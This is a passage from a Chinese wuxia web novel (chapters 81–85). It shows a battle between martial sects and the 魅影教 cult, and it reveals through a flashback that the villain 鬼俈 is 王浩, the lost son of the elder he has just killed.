只见八柄虚剑从谷月清手中宝剑——霄云剑中飞出。八柄虚剑围成一个大圈,盘旋在谷月清上空,面对骷魅的行踪难测的《万幻影诀》谷月清干脆闭上了眼睛,只靠耳朵去听。眼下,攻势可谓完全掌握在了骷魅手中。 对于谷月清的防势,骷魅冷哼一声,丝毫不屑,一个瞬身,闪到谷月清左边,右掌向前一挥,一道掌波击出,瞬息下,又立马闪到谷月清右边,左掌一挥,再是一道掌波击出。 当下,两道掌波几乎同时击来,谷月清侧身挥剑挡下左边掌波,右边掌波则被谷月清旋转防身的剑阵挡下,旋转的剑阵再次破了个口子。 但这次,倒也不是毫无收获,骷魅近身挥掌的同时,谷月清上方盘踞的八柄虚剑突然变大,急速下坠,插在地上,接着,剑剑相接,八柄巨剑连在一起,将骷魅与谷月清围在了剑阵之中。 这种程度的剑阵威力并不算大,骷魅若想突围,破阵只是时间问题耳。 “云霄九剑第九式——啸神弑魔”骷魅正要破阵,谷月清施起了大杀招。 “啸神弑魔?!”骷魅收回了本要破阵的掌力,笑了笑:“名字取得倒是响亮,且看你威力如何!” 第八十一章 混战 魅影教总坛: 一小僧踉踉跄跄跑进来,神色慌张:“方丈,不好了,主力部队在后方草野上和魔教妖人打起来了!” “什么?”浮生一花环顾了一下四周,怪不得偌大的总坛,防备的敌人如此少,原来如此。 浮生一花大喊道:“撤退,回援主力部!” 接着,白马寺僧众有序退出,一白马寺弟子背起李御风,和林奕湘、胡啸跟在队伍身后。 主战场上: 青菱师太正和魅影教三长老岷湮较量着鞭法。岷湮鞭法不敌,渐占下风。 “之前不是很能打,很嚣张嘛!怎么的?现在没人帮你了,不说话了?”杜菱故意讽刺道,想要激怒对手。 然而,岷湮却神色自若,丝毫没被激怒:“《白菱神功》号称天下第一神功,我打不过很正常,我的任务,只不过是牵制你罢了。” 杜菱听了,再讽刺道:“别找借口了,我刚才用的,只不过是寻常鞭法罢了,哪儿是什么《白菱神功》。” 岷湮冷哼一声,仍是一脸平静。 杜菱见激将无果,收起笑容,再挥鞭,和那人缠斗起来。 岷湮鞭法虽不及青菱师太,始终处于下风,但他防守的招式十分灵巧,一时,很难分出胜负,也算是困住了杜菱,让她脱不开身支援其他人。 再看魅影右使鬼俈与苏起枯恂间的打斗。 “小子,你师傅尚且不是我对手,你个做徒弟的,还是别来丢人了,趁早退去,换个强点儿的对手来。”鬼俈恶狠的对枯恂说道,虽然断了只手,但气势还在。 枯恂道:“此一时彼一时,三年过去了,我已不是当年那个只能在一旁看戏的小徒弟了!”“凌空剑法第六式——七元卸甲!”七把虚剑飞出,直指鬼俈。 “师弟,我来助你一臂之力!云霄九剑第七式——啸洪噬地”苏起亦施动剑法,又是七剑飞出。 当下,十四把虚剑并排向前,刺向鬼俈,鬼俈虽断了左臂,但功法还在。 “冰魄卸魂掌!”右手向前,注入功力猛的一拍,十四把虚剑尽数被掌风击散。 “到底是初生牛犊,中看不中用,再练个几年再来吧!”鬼俈右掌再聚力,冰魄玄铁掌起,快步上前朝枯恂击去。 枯恂没有后退,横着剑挡在前方。 当下,剑掌相对,竟坚持起来,鬼俈一脸疑惑的看了看枯恂佩剑,大怒:“又是玄冥剑!”接着,鬼俈往右掌中注入更多内力,朝前猛推,枯恂连人带剑被拍飞,摔倒在地五米之远。 苏起见状心急,立马提剑向鬼俈砍来,鬼俈再用玄铁掌挡下,剑掌相撞,冰魄玄铁掌直接将苏起的宝剑拍成两半,苏起还没反应过来,鬼俈便快步上前,顺势一掌将其击倒。 看着狼狈倒地的二人,鬼俈不屑一顾,摇摇头,向其他人杀去。 枯恂从地上爬起,扶起身旁的苏起,神色沮丧。 枯恂握紧了玄冥剑看向苏起,表示想要在战,苏起摇了摇头,自知不是鬼俈的对手,枯恂怒气冲天,但又无可奈何,提起剑便向另一边巨魔狼兵砍去。打不过鬼俈,打几个狼骑兵还是没问题的。 苏起向旁一扫,见于婉一人独战魅影教两位堂主,赶紧上前助战…… 白马寺长老秋殇一叶对幽狼派主公孙皓: 公孙皓骑在一匹超巨型魔狼之上,神态傲气,虽然年纪有些大了,已是满头灰发,但行动却丝毫没显得老态。 再看秋殇一叶,虽然已是五十多岁了,但因出家人不留头发的原因,看起来像是只有四十岁,身体亦十分健壮。 “秋殇一叶,几十年过去了,当年犯的罪,赎清了吗?”公孙皓讽刺道 这几十年来,秋殇一直在积德行善,早磨灭了戾气,所杀的,皆是大恶大奸之人,如冀州张角,其他人,主要还是以教化为主,如今的秋殇,早已不是当年那个嗜杀成性,不分青红皂白的小和尚了。 “当年犯下的罪,永远也赎不清,我救不了任何人,但我能救我自己。打败你后,或许可以减轻一些。” 公孙皓仰天大笑:“哈哈哈,打败我?!你有那能耐吗?”话罢,扯了扯巨狼的颈链,骑着巨狼向前冲去。 看着奔来的巨狼,秋殇一叶忙提起渊龙杖施动功法“渊龙杖法第八重——深渊浅蛟” 当下,秋殇一叶的部分内力,化做一匹蛟龙,秋殇翻身坐在蛟龙之上,向公孙皓飞去。 很快,巨狼便和蛟龙缠斗起来,巨狼皮糙肉厚,牙爪尖利,蛟龙的攻击对它毫无作用,两相交战十多回合,蛟龙越打越弱、磨损得十分严重,反观那匹巨狼,依旧精神抖擞,毫发未伤。 照这样耗下去,不出五回合,蛟龙必将灰飞烟灭,所幸收了手,向后退去,一边后退一边再施出内力,修复蛟龙。 公孙皓一脸傲气,骑着巨魔狼再冲向秋殇一叶。 巨魔狼皮糙肉厚,刀剑不侵,再打下去,只是空耗内力耳,干脆,赌一把好了! 面对冲来的巨魔狼,秋殇也不躲闪,挥动蛟龙前爪,朝巨狼头部飞速击去,魔狼见状,立马张开血盆大口,欲咬住蛟龙。 秋殇抿嘴一笑,当下毫不犹豫,从蛟龙身上跳下,禅杖一挥,那蛟龙变得细小无比,竟直接沿着大张的狼口,飞进了肚里! 公孙皓大惊,急向后退,欲跳下身去,不料巨狼也向后急退,再托起公孙皓,只听一声巨响,巨狼竟直接爆体而亡…… 危难之际,公孙皓向上跳起躲过了部分攻击,但仍是身受重伤,捂住腹部,踉跄着再与秋殇打了十几个回合,逐渐败退。 此时,剑阁弟子和百药宗的弟子在崎岖山路相遇,杜济将青龙帮惨败,赤影帮、听风阁反叛的消息告诉章玄。 “章阁主,这可如何是好啊?” “咱们只有一条路能选,草药、粮食皆在山下,我们必须杀回去,否则七派危矣!” “可赤影帮全是骑兵,我们如何打得过。” 章玄沉默片刻:“杜门主,其实你师弟说的话也没错,医术确实可以救人,但毒术却并一定只会害人,在好人手上,同样可以救人,毒术的好坏与它本身无关,区别善恶的,乃是使用毒术的那个人。”章玄话罢,握紧剑,带着弟子下了山,悄无声息的向正在打扫战场的赤影帮杀去,杜济则看着身旁伤痕累累的众弟子们,陷入了沉思…… 第八十二章 云霄九剑第九式 草野战场之上: 谷月清正对骷魅使出大杀招——云霄九剑第九式。 云霄九剑第九式乃是极其恐怖的大杀招,相比第八式来说,第九式恐怖了十倍不止,于吉使用云霄九剑第八式打鬼岐时,曾用沙土幻化过一把土剑,那是第八式的招式,能用内力将外物塑化成带外物特质的虚剑,但美中不足的是,第八式只能化一把,剩下的七柄任全靠内力幻化。 但第九式不同,第九式能化九把虚剑,且九把虚剑皆可靠外物掺杂塑化! 最先出现在战场上的,乃是一把极奇柔软的草剑。从地下飞出,将骷魅双脚紧紧绑在地上。 骷魅试探性挣扎两下,韧性不错,笑了笑,毫不在意。 接着是第二把,一柄土剑从地上冒出,将骷魅两腿紧紧包围,仿佛是陷入泥潭一般,越是挣扎陷得越深。 然后是第三把、第四把,一把木剑和一把藤蔓幻化的剑同时飞来,两相交汇,迅速将骷魅紧紧缠住,丝毫不给他施展功法抵抗的机会。 第五把,巨石化剑,紧紧附在骷魅背上,将他向下挤压着,原本直立的骷魅立马被压弯了腰。 此情此景,骷魅仍是一脸嚣张:“还有什么本事经管使出来吧!” 话音刚落,第六柄到位了,乃是由剑阵幻化的剑,当下,剑阵向骷魅飞速靠拢、缩小、压实!巨压之下,几欲窒息! 最后,是第七剑与第八剑,第七剑,乃是一柄由战场散落的兵器组成的巨剑,当下巨剑悬在骷魅上空,并没有笔直击向骷魅,而是不断的分离出兵器,向骷魅击去。七剑发力的同时,第八把开始蓄力,苍穹之上,乌云密布,一道惊雷幻化成剑,破空而出,极速飞向骷魅。 虽然,万幻影诀的软肋是雷击,但骷魅仍是抿嘴一笑,显然,这点儿雷的程度还不够! “沙石刃!” 刹那间,骷魅身旁黄沙漫天,如江潮海浪涌起一般,将骷魅吞没,接着,沙石形成几百柄短刀,将木剑、藤蔓剑斩断扯下,将草剑、土剑割开,刨出,将石剑、阵剑刺碎击破…… 似乎,不费吹灰之力。 “探云手!”骷魅右掌向天一挥,苍穹上的一片黑云化作一张大网,将那雷剑扯住,直至完全包围、消散。 沙石散去,场面重归平静,骷魅除了衣服破旧了些外,并无伤口。 骷魅冷哼一声:“谷月清,你以为,就你会化物之法吗?” 谷月清失了神,大战前,他曾仔细研究过当年无冥的功法,化实为虚、化虚为实都在记载之中,但化物之法倒从未见过。 难不成,骷魅的修为在无冥之上? 看到谷月清满脸的疑惑,骷魅讽刺道:“你们中原人,自以为了解我派!但事实上!你们连十分之一都未必清楚!百年之前,若是无冥祖师肯抛下执念,留点内力对付你们中原武林,琼剑山一战,中原武林只怕得伏尸百万!” 谷月清一脸惊愕:“你的意思是?琼剑山一战,无冥并未动用全力?!呵,你这功法应该不属于《万幻影诀》吧,无冥当年可没施展过此等功法。” 骷魅冷笑两声:“当然出自《万幻影诀》,只不过,属于第九重!” “第九重?!”谷月清大惊,当年魔头无冥只凭《万幻影诀》前八重便在江湖上掀起腥风血雨,而如今,骷魅已至第九重?!谷月清呆在原地,满眼惶恐。 骷魅见机,一个瞬身术闪到谷月清身后,一掌拍去,将其拍倒在地,吐出血来。 此时,战场上,蔡彧与魅影教钦铉的比拼,正焦灼着,蔡彧使琴音,钦铉使琵琶,都用音波攻击。 而杜菱则用白菱神功独自面对着魅影教三长老岷湮和鬼俈两人的攻击,所幸,鬼俈断了只手臂,打起来倒还不是很吃力。 百药宗毒门门主杜冥和魅影教藏榆交战,两人都是用的毒攻,胜负难分…… 而秋殇一叶正和魅影教一堂主打斗着,见谷月清受伤,立马撇下那堂主,轻功一施,飞到谷月清身旁,将他扶起。 骷魅认出了秋殇的武器——渊龙杖:“来者,可是秋殇一叶?” 秋殇扶着谷月清,愤怒的看着骷魅:“正是在下,阁下既是万幻影诀传人,那就和我的渊龙杖法,一较高下吧!”秋殇握紧渊龙杖,战意十足 “好,我正有此意!”骷魅挥掌正欲上前,一魅影教众拿着一宝剑上前,正是之前在总坛,鬼岐嘱咐遗言的那个亲信。 骷魅看着七魂剑,愣了两秒:“鬼岐呢?” 那亲信颤颤巍巍答道:“和青云剑客李御风同归于尽了。” “青云剑客李御风?这是个什么角色?闻所未闻!鬼岐万幻影诀加凌空剑法两大神功护身,还打不过一个李御风?!”骷魅大怒,朝那教徒吼道。 那人低下头,默不作声,不敢回答。 良久,骷魅看着七魂剑,淡然道:“死就死了吧。”话音死寂而冷漠。 “你叫什么名字?”骷魅问道那亲信。 “百里斛。” “会凌空剑法吗。” “左护法曾教过属下六式凌空剑法。” “六式?好,这把剑从今天起归你了。”骷魅话罢,不给百里斛回答的机会,一个瞬身术消失,再出现时已到秋殇身前,和秋殇对打起来…… 另一边, 于婉和苏起联手,使出在凌云谷时练出的一记联招,将一位堂主当场击杀。 于婉回头一看,不远处,杜菱正和岷湮、鬼俈两人缠斗着。 “我去帮青菱师太,剩下的这个就交给你了。”于婉指着对面的堂主对苏起说道。 “哎,别去,那魅影右使可不好对付!” 苏起话还没说完,于婉已朝青菱师太飞去,这时,剩下的那位堂主又提刀冲来,欲为死去的兄弟报仇,苏起脱不开身,只能眼睁睁的看着于婉离开。 当下,鬼俈和魅影教岷湮正一前一后围着杜菱。 于婉一个闪身来到杜菱身后。 杜菱回头提醒到:“婉儿,你别参与,这两人功力高强,你不是他们对手。” “放心吧菱姨,我和他们交过手,他左臂就是我废掉的呢!”于婉一脸傲气。 杜菱满脸惊奇,欣慰道“这么多年过去,你成长了不少嘛!” “菱姨,过奖过奖。” 看着嘀咕的两人,岷湮一鞭挥去,将两人打散:“要叙旧,到地府去叙吧!” “菱姨,鬼俈就是当年的那个宦官曹节,就是他害死了我父亲!你别抢,我要亲手杀了他。” 听了这,杜菱沉默片刻,拍拍于婉的肩,温柔说道:“小心点儿。”话罢,挥鞭和那岷湮扭打起来,将他引到其他地方。 第八十三章 浩然正气 “小姑娘,好久不见。”鬼俈笑看着于婉,并没有一上场便大怒要报断臂之仇。 于婉却一上来便讽刺道:“失去左臂的滋味不好受吧,你若是怕了,就跪地向我爹磕三个响头,我或许能给你个痛快,不让你遭受山万蛇的剧毒” 鬼俈却笑了笑,神态自若:“我倒是很想再尝试一下你的毒攻,很多事情,我还想深入了解一下呢。”鬼俈似在开玩笑,又似很认真的说道。 “哼,大言不惭。”于婉挥剑在手上轻轻划出个口子,让剑上沾了些许血,接着在剑上洒了些灰色粉末,欲故技重施,指着鬼俈说道:“那就来试试吧。” 于婉长剑一挥,剑气携带着鲜血向鬼俈击去。 鬼俈长了教训,右手使出冰魄卸魂掌后立马收回,拽下外套向前飞速旋转格挡。 当下,掌波和剑气相撞,掌波直接击散了剑气波,继续向于婉打去,剑气上携带的血亦向四周散去,这次,鬼俈滴血没沾,全被外套挡下。 鬼俈立马丢掉外套,再是一道掌波朝于婉拍去。 于婉向前划了一剑,击散第一波掌气,再划第二剑,却没能将鬼俈的第二波掌功挡下,被掌波的余威拍倒在地,吐出血来。 有了上次教训,鬼俈没有大意半分,轻功一施,闪到于婉身前,右手聚起冰魄玄铁掌便要朝于婉头部击去,速度极快,丝毫不给其反应机会! “取个什么名呢?王浩怎么样?王浩?”一个熟悉而又陌生的男子声音突然从鬼俈脑海中窜出。 “王浩?哪个浩啊?”脑海中,一个女子温柔的说道。 “浩然正气的浩啊,我希望他以后能做个满身浩然正气、惩奸除恶的大英雄!”那个男子的声音无比清楚的回荡在鬼俈脑海中。 鬼俈头痛得厉害,当下竟收了手,扶着头,向后急闪退去。 于婉见了,也赶快起身,向后退去。 鬼俈脑海中的声音并没有消失,而是十分杂乱,快速的过滤着,说着各种话回放着各种片段: “病恹恹的,天天吃药,什么时候才能好啊。” “浩儿从小手脚冰凉,体虚多病,大夫说了,能活下来便是奇迹了。” “浩儿,快过来,你爹有礼物送你” “浩儿,有了这块玉保你,从此以后,你就不会再多灾多病了。” “该出发了,朝廷和乌桓那边的使者都等着呢。” …… 鬼俈头疼得越来越厉害,右手不自觉的向头部打去,但却没能缓解分毫。 “照顾好自己,回来我带些土特产当礼物送给你们娘两。” “谁要你的土特产啊,你能平安归来就是最好的礼物!” …… “放了我的妻儿吧,我什么都给你。” …… “从今天起,你就叫王浩了,爹希望你以后能做个满身浩然正气、惩奸除恶的大英雄!” 鬼俈脑海中的记忆十分混乱,有的很模糊,有的又很清晰…… 鬼俈向周围胡乱施动功法,仰天喊道:“我不叫王浩!我叫鬼俈!鬼俈!” 这时,鬼俈身上掉下半块玉来,写着一个“告”字。 鬼俈安静下来了,捡起玉,喃喃道:“俈?浩?呵,谁能说得清呢?”话罢,鬼俈将玉佩收起,冲向其他战场。 虽断了一臂,但鬼俈仍是锐不可当,轻挥几掌,便将十多人击倒。 屠菜般的杀戮,很快引来中原武林一位高手——寒岩阁主王绾,位列十二散修之首!满头白发,脸上皱斑很多,看起来有七八十岁了,与鬼俈功法相当,同样使用掌法。 “你是何人?看起来,不像是乌桓人啊,你且退去,我只杀乌桓人!” 鬼俈冷哼一声:“是吗?你看起来,倒是个纯正的中原人,哦对了,我只杀中原人,跪下投降也没用!” “竖子!断了一臂还敢如此猖狂,讨打!” 王绾挥掌向下一拍,鬼俈脚下一根尖锐冰柱冒出,直指鬼俈。 鬼俈大惊,说起来,他还是头一次和同样使用冰做武器的对手交战呢,当下急闪躲过后,王绾再挥出几掌击来。 鬼俈使出冰魄卸魂掌接下。 此时,王绾已至鬼俈身前,近身再是一掌拍去,鬼俈也不躲闪,直接挥掌抵挡。 “蠢材!去死吧!” 当下两掌相接,竟发出慷锵之声,如刀剑相碰! 鬼俈大惊,另一边的王绾亦大惊,皆向后退了两步,两人同时问道:“你是何人?” 鬼俈道:“我先问的,你先说!” 王绾也懒得计较先后,答道:“寒岩阁主王绾,你是何人?” “魅影右使鬼俈!” 王绾道:“你这身功法同谁学的?” 鬼俈道:“无师自通,你呢?你又是同谁学的?” 王绾不语,但却细细打量起鬼俈来。 说起来,鬼俈虽是乌桓人,但光看长相,与乌桓人迥然不同,眼睛不似乌桓人那般深邃突出,再说皮肤,虽是从小生活在大草原上,但却并不见黑,身形也不算高大,倘若是将其乌桓服饰换做汉服,别人绝想不到这是个乌桓人。 “看你的模样,该有四十多岁了吧。”“不会刚好四十五吧?” 鬼俈一脸凶像:“我多少岁你管得着吗?”猛的挥掌朝王绾击去。 王绾何许人也?十一散修之首!只剩一臂的鬼俈哪是王绾的对手,任他招式用尽却也没能伤其分毫。 王绾一边从容防守,一边问道:“四十六?或者四十七?” 鬼俈一脸恼火:“要打就专心打,无关之事问那么多干嘛!”一边说着,急施功法,地上冰柱四起,朝王绾击去。 王绾道:“若是打赢你,你就告诉我,你今年多少岁了。” 鬼俈冷哼一声“赢了再说吧!” 四方冰柱击来,足足有三十多根冰柱!王绾丝毫不退,巧施功法,在手上化出十根冰针来,向外一扔,细小的冰针与冰柱向撞,竟将巨大的冰柱撞得粉碎,掉落一旁。 鬼俈大惊,还能这样玩的?要知道,化出这些冰柱,可是用了近一成的内力啊,王绾化这些个冰针所耗内力,怕是不及自己百分之一! 王绾焦急的朝鬼俈走来:“能说多少岁了吗?” 鬼俈冷哼一声,毫不理睬,猛一施功,几堵冰墙从王绾脚下冒出,将其围在中间,进退不得,鬼俈再一施功,一块冰板飞至王绾上空,将其封死在里面,这还没完,冰墙内部温度不断下降,地下河水不断朝王绾脚下涌去,不断冻结成冰,里面的空间不断缩小,不断缩小,似乎,鬼俈是想将王绾直接冻死在里面! 一眨眼的功夫,冰已冻结至王绾的膝部,鬼俈冷冷一笑,似乎,场上胜负已定。 王绾摇了摇头,说道:“若你是他的话,就应该清楚,这冰墙对我没有任何作用,看来,你不是他!”话罢,王绾急施功法,双掌向前一拍,冰墙触掌即融,如遭受烈火烤过一般! 鬼俈大惊,眼前这人,体内竟同时含有冰火两种属性! 破墙而出的王绾不再执着于鬼俈年龄,双掌向前一挥,一火一冰同时击向鬼俈,眼下鬼俈只有一只手,哪里挡得过两掌?一掌挥去,勉强将冰掌抵消,却被火掌击中,向后退了两步,同时,身上的衣服也被大火点着,鬼俈慌忙脱下衣服扔至地上,拍掉身上的火灰。 突然,他好像意思到了什么似的,猛然捡起已被大火包围的衣服,也不怕火烤,竟翻翻倒倒,找着什么东西。 王绾见状一脸懵逼,也不着急进攻,且看他要搞什么幺蛾子。 一翻摸寻后,鬼俈摸出半块玉佩来,正是那个写着“告”字的半块玉。 鬼俈长吁一气:“幸好没烧到,幸好幸好。”鬼俈将玉佩小心擦干净,抬头一看,王绾竟不知何时站在鬼俈面前,鬼俈大惊还以为王绾是要偷袭,迅速收起玉佩,提掌便是一拍,径直拍向王绾胸口,王绾竟毫无防备,不躲也不挡,目光全锁定在那半块残玉上,硬接下这掌! 王绾已是七十多岁了,身板不比年轻人,当下哪受得起这一掌,直接被拍倒在地,吐出血来! 倒地后的王绾,似乎在说着什么,但声音太小,并未听清,当下,鬼俈完全没料到王绾会中这一掌!王绾体内同时含有冰火两种属性,他日必成大患!这可是千载难逢的好机会啊,此时不杀更待何时! 鬼俈二话不说,提掌再向王绾击去,王绾大惊,将手伸进衣袖中,似乎在摸着袖刀准备防御,但为时已晚,袖刀还没摸出,冰魄玄铁掌已至其胸口,同样的位置,更重的力度,眼下,恐怕杜悬在世,也救不了他了吧! 看着奄奄一息,嘴角流血不止的王绾,鬼俈冷笑道:“刀别在腰上不好吗?非得藏在袖中,自寻死路!” 王绾强撑着最后一丝力气,将衣袖中的东西摸出,那哪是什么袖刀,不过是半块玉佩罢了!和鬼俈那块同样的材质、同样的尺寸,上面刻的,是个:“氵” 王绾一脸微笑,看着鬼俈,虚弱的说道:“浩儿,我终于找到你了!”他伸出手努力想要触摸鬼俈的脸庞,但为时已晚,手刚刚抬起便立马垂下…… 鬼俈呆在原地,盯着王绾手中的半块玉佩,看了许久许久。 “不可能,绝不可能!我叫鬼俈!鬼俈!” 他取出了自己手上的半块玉,与王绾手中的玉放在了一起——两块玉,几乎毫无缝隙的契合成一块,那是一块精美绝伦的宝玉,上面写着一个字——“浩”,浩然正气的“浩”。 第八十四章 王浩传 鬼俈收起玉佩,轻功急施,再次来到于婉面前,右手背于身后,挺起胸膛,对于婉说道:“你还能再施展毒功吗?” 于婉并不知道鬼俈刚才经历了什么,她只知道,她想报仇,亲手杀掉鬼俈:“当然!”话罢,取出一飞镖,从手上的伤口里挤出一些血来,沾在飞镖上,毫不犹豫向鬼俈扔去。 鬼俈并不躲闪,直接闭上双眼,等待着飞镖飞来。 终于,那飞镖径直射去,正中鬼俈胸膛…… 飞镖射中鬼俈胸膛后,鬼俈迷失了六年的记忆竟渐渐找回,甚至连刚出生的记忆都想起…… “生了生了,是个男孩儿!”一产婆的声音传来。 一个男子凑上前来,仔细注视着这个小孩儿。那男子,身着汉服,体型魁梧,面貌硬朗,该是个侠客吧。 小孩儿身旁躺着一个虚弱的女子,女子花容月貌,十分娇艳:“相公,取个名字吧。” 那男子抱起小孩儿,轻轻摇着:“取个名字?取个什么名呢?” 男子一脸微笑,看着婴儿想了许久:“王浩怎么样?王浩?” “王浩?哪个浩啊”那个女子温柔、虚弱的说道。 “浩然正气的浩啊……” 看着手中的玉佩,鬼俈想起了一切,他的名字,正如玉上所刻:“浩”,浩然正气的“浩”,王浩。 鬼俈真名王浩,乃是个地地道道的汉人,父亲王绾,并州寒岩阁阁主,与朝廷有往来,专门负责保护朝廷外使,常年不着家,母亲是个大家闺秀,温柔善良,待人很客气。 王浩自幼体弱多病,跟他爹一样,王浩自小便能变幻冰火,但幼小的他哪控制得住这些,他的寝房没一天是安稳的,不是冰灾便是火患,王绾由于工作原因,常年不着家,所以管教不了孩子,而母亲又是一届平民,根本不懂功法,所以也管教不了王浩,思来想去,王绾只得请来杜悬,寻方问药,已求抑制住王浩的功法。 在王浩四岁那年,杜悬来到了寒岩阁,他思来想去,配了近一个月的药方,竟真配出一味专门抑制王浩功法的药来,名曰:“仙劫。” 此药服下后,会产生巨大的能量,这股力量不仅不会被人体吸收,还会与人的内力缠斗,不散不休,一定药量过猛,既有可能爆体而亡!不过配药这种小事,哪难道到杜悬,一番精密操纵后,杜悬便配好了两瓶仙劫。 王绾二话不说,将其中一瓶喂给王浩服下,仙劫产生的能量刚刚好,与王浩的内力同时耗尽,承王浩虚弱之际,仙劫的药渣流入丹田处堆积,进而封禁了王浩的内力。说来也神,此药的解药同样是“仙劫。” 若想解除封禁,只需再次服下仙劫,此时,仙劫产生的巨大能量会将之前产生的药渣送出,从而解除丹田封禁,而解除丹田封禁后便会输出内力,进而将仙劫药的新药渣送走。 大功告成,王浩功法被封禁,再也没法搞破坏了,生活重归平淡…… 然而,相安无事的生活只过了两年,王浩六岁那年,一切都变了。 那天,父亲像往常一样,护送朝廷使者去往外邦,据说,是去乌桓,临行前,父亲送给他一个玉佩,上面写着一个“浩”字,据说,这能保他无灾无难,但显然,这全是封禁迷信,这玉佩,毫无作用。王绾才刚走三天,噩梦便开始了,在一个月黑风高的夜晚,他和母亲被人从家里掳走,歹徒蒙上他们的眼睛,带上马车,一路颠簸,在一荒山处停下,他和母亲被绑在一破屋子里的一根柱子上,关了整整一夜。 第二天,三个黑衣男子走过来,将他的眼罩摘下,将他们带到一个破庙里。 他看见自己的父亲正跪在一个紫衣道袍青年面前,向那个青年求饶。那个青年的脸很面善,仔细看去,竟是他的义父——紫阎王! “放了我的妻儿吧,我什么都给你。”王绾跪在地上乞求道。 “你知道我想要的,只要你听话,我不但放了你的妻儿,还会给你数不尽的荣华富贵。” “我说过,让我做什么都可以,但要我背叛朝廷,背叛族人,绝不可能!” 紫阎王大怒,一巴掌将王绾拍倒在地:“你别不识抬举!” 王绾态度十分刚正,十分硬气:“就算你把我杀了,我也绝不会做背叛朝廷的事儿!” “哼,不识抬举,我数三下,如果你不答应,我就杀了你的妻儿!” “三” “二” 面对紫阎王的恐吓,体弱的母亲和年幼的王浩只能无助的哭泣。 “一”老教主冷冷的数罢,一刀便杀死了那女子。 “不!”王绾神情惊慌,面色惨白,直接晕倒过去。 这时,门口一教徒走进,王浩认识他,乃是魅影教大长老:钦铉。 钦铉禀告道:“教主,李将军的人马朝这边搜来了。” “什么?难不成,他们已经知晓我们计划了?” “算了,谨慎点儿为妙,撤退!” “教主,这两人如何处置?” 紫阎王道:“汉朝估计已经发现了我们的计划,这两人已经没用了,杀了吧!”话罢,头也不回,向外离去。 钦铉一脸凶像,手中长刀足足有四尺!十分渗人,当下,钦铉提刀向王浩走来,二话不说,指着其脖颈便是一劈。 “等等。”正欲下杀手时,门外一中年男子声音传来。 “就这么死了,太便宜他了!”男子一边走进,一边冷漠说道。 刀虽未近身,但王浩已然吓晕,再醒来时,他已身处在一个长宽高各一米的狭小地窖中,四周全是土,顶上用一块木板封住,板上置巨石压死。地窖内除了王浩和他的排泄物外,空无一物,没错,王浩活动范围,仅限这方寸之地,吃喝拉撒全在里面,这间地窖基本上全天处在漆黑死寂中,除了午时的短暂光明。 每隔一天便会有一人在午时前来打开木板,给王浩送午饭,不过,也仅仅只送一顿午饭耳,此外,那人还会递给王浩一个木桶,让他将排泄物拉在里面,然后,那人会将前天的木桶还有当日盛午饭的饭碗带走,接着,再次封住木板,地窖从回漆黑死寂。 王浩在里面住了才一周,突然有一天,高烧不止,浑身难受,也不知是吃坏了肚子还是环境太差的缘故,王浩大病了一场,足足昏睡了三天三夜!再醒来时,便没了记忆,六岁前的所有记忆都没了。虽然如此,王浩仍被关在这方寸之地,漆黑死寂的地窖哪是人待的地方,待一天、一个时辰都遭不住,但幼小的王浩在里面足足待了两个月!整整两个月!吃喝拉撒全在里面的两个月! 万幸还有人每天前来送饭,每次,王浩都会哀求那人道:“求求你了!放我出去吧!我怕黑,求求你了。” 但那人从未理睬过王浩,一次也没有,但王浩从不气馁,那人每次来时都会问上几遍,每次都问,直到有一天,那人失踪了。 王浩一直等到晚上也没见那人前来送饭,那晚过得极其漫长,王浩很困倦,很想睡觉,但因为饥饿的缘故,始终无法入睡,睁着眼珠,盯着木板看了许久,但其实,他什么也没看见,地窖内的黑漆远甚于地窖外的夜色!尽是一片死寂!此刻的王浩就像是被埋在深渊中的死人一般,绝望、无助。黑云移开,月光晃过地窖,从木板缝隙射进王浩眼睛,原来,王浩一直盯着的,并不是木板,而是那道缝隙!那道十分细小,却象征着生机的缝隙!月光消散,地窖重归黑暗,王浩仍盯着缝隙看,尽管那道缝隙已与黑暗融为了一体。看着看着,王浩诡异的笑了起来,一边笑,一边阴狠道:“等我出去,一定把你们全都杀光!一个不留!” 次日清晨,一缕阳光从木板的缝隙里射了进来,径直照在王浩的眼睛上。 王浩吓得往后退了两步,他在黑暗中待得太久了,此刻的他,竟然对阳光产生了畏惧! 突然,一阵脚。步声传来,愈来愈近,愈来愈近,那人推走巨石,劈开木板,朝王浩伸出了手,是紫阎王。 “没事儿了,小家伙,把手给我,我拉你上来。” 王浩因为大病过一场,所以他并不记得眼前这人便是他的杀母仇人。他将手递了过去,紫阎王将他一把拉起,抱着他走了出去,与地窖的漆黑死寂不同,外面的世界,万里晴空,尽是一片祥和明朗! 但只有王浩自己知道,他只不过是人走了出去罢了,他的灵魂,已然永远囚禁在这方寸之地中。 …… “我收你做我的义子吧,从今天起,你不再是没名没姓的野孩子,你叫鬼俈,谁要是敢欺负你,你就用剑!用刀!用你用到的所有武器!不要留情,直接杀了他!” 第八十五章 合击,大杀招! 秋殇一叶并不是骷魅的对手,两人打了不到二十回合便被骷魅抓住破绽,闪到身后,一掌拍去,连人带杖击倒在地…… 另一边,杜菱与岷湮打了许久,终于抓住其破绽,施展白菱神功,命中魅影教岷湮身上多个死穴,岷湮当即毙命,再没醒来。杜菱看了看于婉那边,鬼俈中了一镖,跪在地上,应该问题不大,再看骷魅这边,谷月清和秋殇都很狼狈,衣服破烂,嘴角带血,而骷魅只是衣服破点儿,身上全无伤痕。 当下便施展白菱神功闪到秋殇身旁,将其扶起。 于婉见鬼俈中了毒镖,跪倒在地,也就不再纠缠下去,转身前去相助秋殇。毕竟,这次命中的可是胸膛,即使求助菩萨观音,怕是也无药可救。 与此同时,枯恂、苏起、江雨潇等也都赶来相助。 骷魅傲视着众人,没有一丝怯意。 “上!”杜菱神功一施,向骷魅击去。 苏起等人也拿起武器冲了上去,骷魅见状,只是冷笑一声,一个瞬身直接闪到杜菱背后,一掌拍去,杜菱早有防备,如蛇一般迅速扭走、闪过。 枯恂和苏起分别施起云霄剑法七式和凌空剑法六式。当下,十四柄虚剑同时飞出,朝骷魅射去。 骷魅却不躲闪:“黄沙漫!”“扶摇风!” 当下,狂风四舞,吹起满天黄沙,那十四柄虚剑直接被黄沙吞噬,风沙相杂,如同小型龙卷风一般,朝苏起他们袭来! “七元归一!”当下,七柄虚剑朝那龙卷风打去,快靠近时,七剑合一,化作一柄巨剑,与龙卷风相撞,勉强应住。 秋殇看着枯恂的凌空剑法第七式,大笑起来。 “小兄弟,要不咱们联合起来试试。”秋殇一叶握紧渊龙杖说道。 枯恂不自信道:“我,我能行吗?” 